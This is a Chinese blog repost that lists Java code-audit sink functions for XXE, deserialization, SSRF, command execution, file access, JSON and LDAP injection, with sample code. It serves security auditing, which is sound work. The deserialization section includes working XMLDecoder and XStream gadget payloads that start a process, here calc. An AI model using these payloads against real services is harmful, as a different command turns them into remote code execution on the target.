java代码审计中的一些常见漏洞及其特征函数
文章来源:https://xz.aliyun.com/t/1633
最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函数补充在这篇文章中。(虽然作者已经很贴心的提供了脚本)。
1.xxe
常见解析xml的类有如下:
javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
1)javax.xml.parsers.DocumentBuilder (原生dom解析xml)
例子:
DocumentBuilderFactory doc=DocumentBuilderFactory.newInstance();
DocumentBuilder db=doc.newDocumentBuilder();
InputStream is= new FileInputStream("test.xml");
Document doc=dombuilder.parse(is); //sink点
Element rootElement = document.getDocumentElement();
2)javax.xml.stream.XMLStreamReader (StAX解析器,可读可写)
例子:
XMLInputFactory factory = XMLInputFactory.newFactory();
InputStream stream = XmlInputFactory.class.getClassLoader().getResourceAsStream("webService/xml/users.xml");
XMLStreamReader reader = factory.createXMLStreamReader(stream); //sink点
while (reader.hasNext()) {...}
3)javax.xml.parsers.SAXParser / org.xml.sax.XMLReader (原生SAX解析xml)
例子:
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader(); //reader.setContentHandler(new MyContentHandler());
reader.parse(xmlPath); //sink点
4)org.jdom.input.SAXBuilder / org.jdom2.input.SAXBuilder (jdom解析xml)
例子:
SAXBuilder sax = new SAXBuilder();
Document doc = sax.build("src/config.xml"); //sink点
5)org.dom4j.io.SAXReader (dom4j解析xml)
例子:
InputStream fis=new FileInputStream("G:\\eclipsewk\\SDK201702\\Test-Pack\\package\\work\\before\\AndroidManifest.xml");
Document document = new SAXReader().read(fis); //sink点
6)javax.xml.validation.SchemaFactory (校验xml)
例子:
File xsdfile=new File("xml/orders.xsd");
File xmlfile=new File("xml/orders.xml");
Handler errorHandler=new Handler();
SchemaFactory schemafactory=SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); //
Schema schema=schemafactory.newSchema(xsdfile);
Validator vaildator=schema.newValidator();
vaildator.setErrorHandler((ErrorHandler) errorHandler);
vaildator.validate(new StreamSource(xmlfile)); //sink点
7)javax.xml.bind.Unmarshaller (JAXB解析xml,也是实现java和xml的转换)
例子:
JAXBContext jc = JAXBContext.newInstance(clazz);
Unmarshaller u = jc.createUnmarshaller();
u.unmarshal(new File(xmlstr)); //sink点
修复方法:
- xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
- xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
8)javax.xml.xpath.XPathExpression (XPath查询)
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate(builder.parse(new ByteArrayInputStream(xml.getBytes())));
值得注意的是:javax.xml.xpath.XPathExpression类似于Unmarshaller,它无法自行安全地配置,因此必须首先通过另一个安全的XML解析器解析不受信任的数据
9)javax.xml.transform.sax.SAXSource / javax.xml.transform.TransformerFactory / javax.xml.transform.sax.SAXTransformerFactory (生成和转换xml)
10)Apache Commons Configuration读取xml配置
XMLConfiguration.load
代码审计的时候感觉一个个搜索也很麻烦,在使用脚本前可以先全局搜索下DocumentBuilder、sax、Unmarshaller 、XPath、XMLInputFactory等字眼。
2.反序列化漏洞
反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下:
1)ObjectInputStream.readObject //最常见的反序列化sink点,将流转化为object对象
2)ObjectInputStream.readUnshared //使用较少,和readobject有些区别
readUnshared()方法来读取对象,readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。
3)XMLDecoder.readObject //读取xml转化为object,尝试了一下不能进行xxe,不过这个xml反序列化漏洞不用像其他反序列化那样构造很麻烦,可以直接使用下面的poc执行命令。
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>c:\\windows\\system32\\calc.exe</string>
</void>
</array>
<void method="start"/>
</object>
</java>
4)XStream.fromXML //XStream用于java object与xml的相互转换,XStream.toXML(将java转换为xml)
String payload = "<map><entry><jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command><string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/></entry></map>";
5)一些第三方jar包中的,这些第三方jar包历史版本中存在序列化漏洞
ObjectMapper.readValue jackson中的api
JSON.parseObject fastjson中的api
6)Yaml.load
审计的时候搜索readobject、readUnshared、fromXML这些关键api
3.SSRF(服务器端请求伪造)
HttpClient.execute
HttpClient.executeMethod
HttpURLConnection/URLConnection
new HttpGet(url)
OkHttpClient()
URL:URL url = new URL();
1) url.openStream 2)ImageIO.read(url)
其他
审计的时候搜索new URL、HttpClient、HttpURLConnection
4.文件上传
审计的时候搜索MultipartFile
5.Autobinding //参数自动绑定漏洞,在php中叫object注入漏洞,json注入也属于其中一种
审计的时候搜索@SessionAttributes和@ModelAttribute,属于SpringMVC框架
6.URL跳转漏洞
1.response.sendRedirect //重定向
2.response.setHeader("Location", "http://www.baidu.com"); // 也是重定向
3.request.getRequestDispatcher("/success.html").forward(request, response); //请求转发
7.命令执行
1).Runtime.exec //Runtime.getRuntime().exec(command)
2).ProcessBuilder.start //new ProcessBuilder(cmdArray).start(),取代了Process
3).GroovyShell.evaluate //主要用于在java中运行Groovy脚本
shell.evaluate("
static void main(String[]args){
Runtime.getRuntime().exec(command);
}
");
类似的还有GroovyClassLoader 、ScriptEngine
8.和文件操作相关的漏洞,例如任意文件读取、删除等等
1)最常见的就是JDK原始的java.io.FileInputStream类
2)JDK1.7新增的基于NIO读取文件的java.nio.file.Files类。常用方法如:Files.readAllBytes、Files.readAllLines
3)JDK原始的java.io.RandomAccessFile类
4)Apache Commons IO提供的org.apache.commons.io.FileUtils类
5)JDK1.7新增的基于NIO非阻塞异步读取文件的java.nio.channels.AsynchronousFileChannel类
9.json注入(有点类似参数自动绑定)
1)json-lib框架中的JSONObject ,JSONArray
2)Jackson框架中的JsonGenerator、Object(Mapper|Reader|Codec|Writer)|TreeCodec、JsonParser
JsonGenerator.writeObject等 write(NumberField|Raw|RawUTF8String|RawValue|String|UTF8String)等
ObjectMapper.writeValue()、ObjectMapper.writeTree()等
3)Gson
Gson.toJson() Gson.fromJson() JsonWriter.name|value() JsonReader JsonStreamParser JsonParser.parse
4)javax.json
JsonWriter.write(Array|Object) JsonParserFactory.createParser() JsonGenerator
5)fastjson
10.ldap注入
审计过程中可以直接搜索ldap字符初略的进行定位
常见sink点:
javax.naming.directory
DirContext.search
org.springframework.ldap
LdapTemplate.search
LdapOperations.search
netscape.ldap
LDAPAsynchronousConnection|LDAPv2.search
LDAPGetEntries.getEntries
LDAPGetProperty.getProperty
最后是大佬的自动化脚本:https://github.com/Cryin/JavaID
脚本还没用过。。。有机会看看效果。
转载于:https://www.cnblogs.com/jinqi520/p/10083441.html
java代码审计中的一些常见漏洞及其特征函数相关推荐
- 浅析Java代码审计中的SQL注入漏洞
浅析Java代码审计中的SQL注入漏洞 1.注入漏洞简介 2.SQL注入漏洞简介 3.JDBC拼接不当造成SQL注入 第一关:使用Statement 第二关:使用PrepareStatement 4. ...
- JAVA代码审计中危险函数
JAVA代码审计中危险函数 xxe: javax.xml.parsers.DocumentBuilder (原生dom解析xml) 例子: DocumentBuilderFactory doc=D ...
- 【网络安全入门大总结】—Java语言中常用的渗透漏洞大汇总
Java语言中常用的漏洞大汇总,建议收藏. 准备好,上课了~~~ 目录 Servlet 简介 生命周期为 接口 Struts 2 . 简介 请求流程 相关CVE Spring 简介 Spring MV ...
- 代码审计中的文件包含漏洞
0x00 背景 文件包含漏洞是php语言的一大特性.文件包含的意思是,服务器在执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码并执行,这会为开发者节省大量的时间.而文件包含漏洞的出现 ...
- Java面试中,一些常见的有关多线程问题!
面试作为入职的第一道门槛,其重要性不言而喻.对于从事IT的很多工作人员而言,对面试往往信心不足,毕竟在真实面试中,会遇到很多技术问题,万一哪块技术点不熟,就会与心仪的offer失之交臂.接下来,小千以 ...
- Java RestTemplate中几种常见的请求方式
在REST接口的设计中,利用RestTemplate进行接口测试是种常见的方法.本文主要从以下四个方面来看RestTemplate的使用: GET请求 POST请求 PUT请求 DELETE请求 OK ...
- JAVA数组中五种常见排序方法
前言: 几种常用的JAVA数组排序方法的整合. 法一:Arrays.sort() Arrays.sort()排序方法在java中是最简单且最常用的排序方法 int []arr1= {45,34,59, ...
- java 绑定微信号开发_Java开发中的更多常见危险信号
java 绑定微信号开发 在< Java开发中的常见危险信号>一文中,我研究了一些不一定本身就是错误或不正确的做法,但它们可能表明存在更大的问题. 这些"红色标记"类似 ...
- Java开发中更多常见的危险信号
在< Java开发中的常见危险信号>一文中,我研究了一些不一定本身就是错误或不正确的做法,但它们可能表明存在更大的问题. 这些"红色标记"类似于"代码气味&q ...
最新文章
- 企业单点登录解决方案(CAS)之二安装要求
- oracle 更改ip
- AzureDirectory Library for Lucene.Net
- 编程之美-分层遍历二叉树方法整理
- WebDAV方式访问Exchange 2003收件箱程序
- 解密昇腾AI处理器--Ascend310简介
- 试用GitHub Copilot一周后,我给你的建议是:不要使用它
- 【2016年第6期】科研数据的开放:进展、模式与新探索
- C语言基础知识(二)-------C++变量及赋值
- django-配置静态文件路径
- Linux手动释放缓存的方法
- Java 1.1.3 修改字符串、不可变字符串
- 设计模式(五) 注解方式实现AOP
- win7安装mysql8.0.15教程_MySQL-mysql 8.0.15安装教程
- 令人敬畏的泰格伍兹 万维钢_资源商店应用程序部分推出了令人敬畏的一周销售
- 微信分享只有链接没有图标和标题正文
- 计算机微信接收excel打不开怎么回事,电脑端微信打不开怎么解决
- 10098 全排列水题
- Hexo主题制作指南
- 实时计算交易盈亏、平仓盈亏和浮动盈亏